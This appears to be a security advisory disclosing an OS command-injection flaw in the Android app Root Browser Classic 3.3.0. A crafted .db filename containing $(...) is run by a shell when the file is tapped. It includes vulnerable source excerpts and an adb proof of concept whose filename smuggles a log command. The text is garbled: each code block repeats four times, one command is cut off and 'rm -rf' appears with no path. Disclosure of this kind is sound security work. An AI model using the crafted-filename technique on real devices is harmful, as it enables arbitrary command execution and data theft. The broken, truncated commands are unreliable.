Root Browser Classic 3.3.0 - OS command injection through crafted SQLite filenames

Description

Root Browser Classic passes the path of a selected SQLite database to an operating-system shell without safely separating the filename from the command. A local attacker can place or induce the victim to save a database file whose filename contains shell syntax, such as command substitution ($(...)). When the victim browses to the file and taps it, the application's SQLite explorer interpolates the attacker-controlled path inside double quotes and executes the resulting string with sh or su.

Double quotes preserve shell command substitution. Consequently, a filename such as poc$(log -t RB_POC COMMAND_EXECUTED).db causes the nested log command to run before sqlite3 attempts to open the database. The file does not need to contain a valid SQLite database.

Vulnerability

Root cause

The root cause is unsafe construction of an operating-system command in SqliteHelper#getTables(). The application concatenates the attacker-controlled database path into a single command string and sends that string to a shell interpreter:

new Shell(this.mNeedRootShell ? "su" : "sh").run(
    this.sqlite3 + " \"" + this.mDatabase + "\" .tables 2>/dev/null"
);

new Shell(this.mNeedRootShell ? "su" : "sh").run(
    this.sqlite3 + " \"" + this.mDatabase + "\" .tables 2>/dev/null"
);

new Shell(this.mNeedRootShell ? "su" : "sh").run(
    this.sqlite3 + " \"" + this.mDatabase + "\" .tables 2>/dev/null"
);

new Shell(this.mNeedRootShell ? "su" : "sh").run(
    this.sqlite3 + " \"" + this.mDatabase + "\" .tables 2>/dev/null"
);

The path is not passed as a separate process argument and is not safely escaped for the shell. Surrounding it with double quotes does not neutralize shell metacharacters because POSIX-compatible shells still perform command substitution, including $(...) and backticks, inside double-quoted strings. Therefore, shell syntax embedded in a database filename is evaluated before sqlite3 receives the resulting path.

Source-to-sink path

1. Attacker-controlled filename: Root Browser Classic categorizes files ending in .db, .sql, or .sqlite as databases. The filename may contain characters with shell meaning, including $, (, and ).

   Relevant code in com.jrummy.file.manager.util.FileType:

   String[] databaseExtensions = {"db", "sql", "sqlite"};
   DATABASE_EXTENSIONS = databaseExtensions;

   String[] databaseExtensions = {"db", "sql", "sqlite"};
   DATABASE_EXTENSIONS = databaseExtensions;

   String[] databaseExtensions = {"db", "sql", "sqlite"};
   DATABASE_EXTENSIONS = databaseExtensions;

   String[] databaseExtensions = {"db", "sql", "sqlite"};
   DATABASE_EXTENSIONS = databaseExtensions;

2. Reachable browsing location: RootBrowserActivity is exported and accepts the action com.jrummy.root.browser.action.BROWSE_TO. Its browse_to_path extra becomes the initial directory shown by the file browser. This intent is convenient for reproduction, but exploitation does not depend on another application invoking it; the victim can navigate to the directory manually.

   Relevant manifest and application code:

   <activity
       android:name="com.jrummy.file.manager.RootBrowserActivity"
       android:exported="true">
       <intent-filter>
           <action android:name="android.intent.action.MAIN" />
           <category android:name="android.intent.category.LAUNCHER" />
           <action android:name="com.jrummy.root.browser.action.BROWSE_TO" />
       </intent-filter>
   </activity>

   <activity
       android:name="com.jrummy.file.manager.RootBrowserActivity"
       android:exported="true">
       <intent-filter>
           <action android:name="android.intent.action.MAIN" />
           <category android:name="android.intent.category.LAUNCHER" />
           <action android:name="com.jrummy.root.browser.action.BROWSE_TO" />
       </intent-filter>
   </activity>

   <activity
       android:name="com.jrummy.file.manager.RootBrowserActivity"
       android:exported="true">
       <intent-filter>
           <action android:name="android.intent.action.MAIN" />
           <category android:name="android.intent.category.LAUNCHER" />
           <action android:name="com.jrummy.root.browser.action.BROWSE_TO" />
       </intent-filter>
   </activity>

   <activity
       android:name="com.jrummy.file.manager.RootBrowserActivity"
       android:exported="true">
       <intent-filter>
           <action android:name="android.intent.action.MAIN" />
           <category android:name="android.intent.category.LAUNCHER" />
           <action android:name="com.jrummy.root.browser.action.BROWSE_TO" />
       </intent-filter>
   </activity>

   Intent intent = getIntent();
   String action = intent == null ? null : intent.getAction();
   if (action != null && action.equals(Constants.BROWSE_TO_ACTION)) {
       this.mHomeDirectories[0] =
           intent.getExtras().getString(Constants.KEY_BROWSE_TO_PATH);
   }

   Intent intent = getIntent();
   String action = intent == null ? null : intent.getAction();
   if (action != null && action.equals(Constants.BROWSE_TO_ACTION)) {
       this.mHomeDirectories[0] =
           intent.getExtras().getString(Constants.KEY_BROWSE_TO_PATH);
   }

   Intent intent = getIntent();
   String action = intent == null ? null : intent.getAction();
   if (action != null && action.equals(Constants.BROWSE_TO_ACTION)) {
       this.mHomeDirectories[0] =
           intent.getExtras().getString(Constants.KEY_BROWSE_TO_PATH);
   }

   Intent intent = getIntent();
   String action = intent == null ? null : intent.getAction();
   if (action != null && action.equals(Constants.BROWSE_TO_ACTION)) {
       this.mHomeDirectories[0] =
           intent.getExtras().getString(Constants.KEY_BROWSE_TO_PATH);
   }

3. Database dispatch after user interaction: When the victim taps a file categorized as DATABASE, FileList passes its full path to TableListActivity without validation or shell escaping. SQLite exploration is enabled by default through the fb_explore_database_files preference.

   if (fileInfo.getFileType() == FileType.FileTypes.DATABASE
           && this.exploreDatabaseFiles) {
       Intent intent = new Intent(this.mContext, TableListActivity.class);
       intent.putExtra("database", fileInfo.getPath());
       this.mContext.startActivity(intent);
   }

   if (fileInfo.getFileType() == FileType.FileTypes.DATABASE
           && this.exploreDatabaseFiles) {
       Intent intent = new Intent(this.mContext, TableListActivity.class);
       intent.putExtra("database", fileInfo.getPath());
       this.mContext.startActivity(intent);
   }

   if (fileInfo.getFileType() == FileType.FileTypes.DATABASE
           && this.exploreDatabaseFiles) {
       Intent intent = new Intent(this.mContext, TableListActivity.class);
       intent.putExtra("database", fileInfo.getPath());
       this.mContext.startActivity(intent);
   }

   if (fileInfo.getFileType() == FileType.FileTypes.DATABASE
           && this.exploreDatabaseFiles) {
       Intent intent = new Intent(this.mContext, TableListActivity.class);
       intent.putExtra("database", fileInfo.getPath());
       this.mContext.startActivity(intent);
   }

4. Path propagation: TableListActivity reconstructs a File directly from the intent value. TableList creates SqliteHelper and calls getTables() while loading the database view.

   File file = new File(getIntent().getExtras().getString("database"));
   getSupportActionBar().setTitle(file.getName());
   new TableList(this, file);

   File file = new File(getIntent().getExtras().getString("database"));
   getSupportActionBar().setTitle(file.getName());
   new TableList(this, file);

   File file = new File(getIntent().getExtras().getString("database"));
   getSupportActionBar().setTitle(file.getName());
   new TableList(this, file);

   File file = new File(getIntent().getExtras().getString("database"));
   getSupportActionBar().setTitle(file.getName());
   new TableList(this, file);

5. Shell selection: SqliteHelper chooses sh for any readable file and su only for an unreadable file.

   public SqliteHelper(File file) {
       this.mDatabase = file;
       this.mNeedRootShell = !file.canRead();
   }

   public SqliteHelper(File file) {
       this.mDatabase = file;
       this.mNeedRootShell = !file.canRead();
   }

   public SqliteHelper(File file) {
       this.mDatabase = file;
       this.mNeedRootShell = !file.canRead();
   }

   public SqliteHelper(File file) {
       this.mDatabase = file;
       this.mNeedRootShell = !file.canRead();
   }

6. Command-injection sink: getTables() concatenates the complete attacker-controlled path into a command string and passes the string to a shell. The double quotes prevent word splitting but intentionally still permit $(...), backtick substitution, and some other shell expansions.

   public List<String> getTables() throws Throwable {
       Shell.CommandResult result =
           new Shell(this.mNeedRootShell ? "su" : "sh").run(
               this.sqlite3 + " \"" + this.mDatabase
                   + "\" .tables 2>/dev/null");
       // ...
   }

   public List<String> getTables() throws Throwable {
       Shell.CommandResult result =
           new Shell(this.mNeedRootShell ? "su" : "sh").run(
               this.sqlite3 + " \"" + this.mDatabase
                   + "\" .tables 2>/dev/null");
       // ...
   }

   public List<String> getTables() throws Throwable {
       Shell.CommandResult result =
           new Shell(this.mNeedRootShell ? "su" : "sh").run(
               this.sqlite3 + " \"" + this.mDatabase
                   + "\" .tables 2>/dev/null");
       // ...
   }

   public List<String> getTables() throws Throwable {
       Shell.CommandResult result =
           new Shell(this.mNeedRootShell ? "su" : "sh").run(
               this.sqlite3 + " \"" + this.mDatabase
                   + "\" .tables 2>/dev/null");
       // ...
   }

Impact

• Successful exploitation provides arbitrary command execution with the Root Browser Classic application UID.

• The injected command can read or modify the application's private files and any shared-storage content accessible to the application.

• The application has network access, so an injected command can potentially exfiltrate accessible information.

• If the user granted MANAGE_EXTERNAL_STORAGE, the confidentiality, integrity, and availability impact can extend to a broad set of files in shared storage.

PoC

Preconditions

• Root Browser Classic 3.3.0 (27917) or 3.4.0 (27919) is installed.

• SQLite file exploration is enabled; this preference is enabled by default.

• The attacker causes a crafted .db, .sql, or .sqlite filename to exist in a location the victim can browse. This can occur through a downloaded or transferred file, or through another local application with access to mutually accessible storage.

Step-by-step

Root access is not needed for this proof of concept. The commands below create a harmless marker in Android's system log.

1. Create a directory and a zero-length file whose literal filename contains a shell command substitution:

   adb shell mkdir -p /sdcard/Download/RBPoc
   adb shell 'touch "/sdcard/Download/RBPoc/poc\$(log -t RB_POC COMMAND_EXECUTED).db"'
   adb shell 'ls -lb /sdcard/Download/RBPoc'

   adb shell mkdir -p /sdcard/Download/RBPoc
   adb shell 'touch "/sdcard/Download/RBPoc/poc\$(log -t RB_POC COMMAND_EXECUTED).db"'
   adb shell 'ls -lb /sdcard/Download/RBPoc'

   adb shell mkdir -p /sdcard/Download/RBPoc
   adb shell 'touch "/sdcard/Download/RBPoc/poc\$(log -t RB_POC COMMAND_EXECUTED).db"'
   adb shell 'ls -lb /sdcard/Download/RBPoc'

   adb shell mkdir -p /sdcard/Download/RBPoc
   adb shell 'touch "/sdcard/Download/RBPoc/poc\$(log -t RB_POC COMMAND_EXECUTED).db"'
   adb shell 'ls -lb /sdcard/Download/RBPoc'

   
   

   Confirm that the listed name contains the literal characters $(log -t RB_POC COMMAND_EXECUTED).

   
   

2. Clear the log and open Root Browser Classic in the proof-of-concept directory:

   adb logcat -c
   adb shell am start \
     -n com.jrummyapps.rootbrowser.classic/com.jrummy.file.manager.RootBrowserActivity \
     -a com.jrummy.root.browser.action.BROWSE_TO \
     --es
   
   

   adb logcat -c
   adb shell am start \
     -n com.jrummyapps.rootbrowser.classic/com.jrummy.file.manager.RootBrowserActivity \
     -a com.jrummy.root.browser.action.BROWSE_TO \
     --es
   
   

   adb logcat -c
   adb shell am start \
     -n com.jrummyapps.rootbrowser.classic/com.jrummy.file.manager.RootBrowserActivity \
     -a com.jrummy.root.browser.action.BROWSE_TO \
     --es
   
   

   adb logcat -c
   adb shell am start \
     -n com.jrummyapps.rootbrowser.classic/com.jrummy.file.manager.RootBrowserActivity \
     -a com.jrummy.root.browser.action.BROWSE_TO \
     --es
   
   

   
   

3. In Root Browser Classic, tap poc$(log -t RB_POC COMMAND_EXECUTED).db. The application may display Failed loading the database; this is expected because the file is not a valid database and does not prevent the nested command from executing.

4. Query only the harmless proof-of-concept log tag:

   adb logcat -d -v uid -s 'RB_POC:V' '*:S'

   adb logcat -d -v uid -s 'RB_POC:V' '*:S'

   adb logcat -d -v uid -s 'RB_POC:V' '*:S'

   adb logcat -d -v uid -s 'RB_POC:V' '*:S'

   Expected result:

   I RB_POC : COMMAND_EXECUTED

   I RB_POC : COMMAND_EXECUTED

   I RB_POC : COMMAND_EXECUTED

   I RB_POC : COMMAND_EXECUTED

5. Remove the test file:

   adb shell rm -rf

   adb shell rm -rf

   adb shell rm -rf

   adb shell rm -rf

Evidence of Exploitation

• Video of exploitation:

• Static evidence:

Our security policy

We have reserved the ID CVE-2026-85082 to refer to this issue from now on.

Disclosure policy

System Information

• Root Browser Classic

• Version: 3.3.0

• Operating System: Android 5.0 and later

References

• Google Play listing: https://play.google.com/store/apps/details?id=com.jrummyapps.rootbrowser.classic

• Vendor privacy policy: https://maplemedia.io/privacy/

• Vendor website: https://maplemedia.io/

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Andrés Ramos from Fluid Attacks' Offensive Team.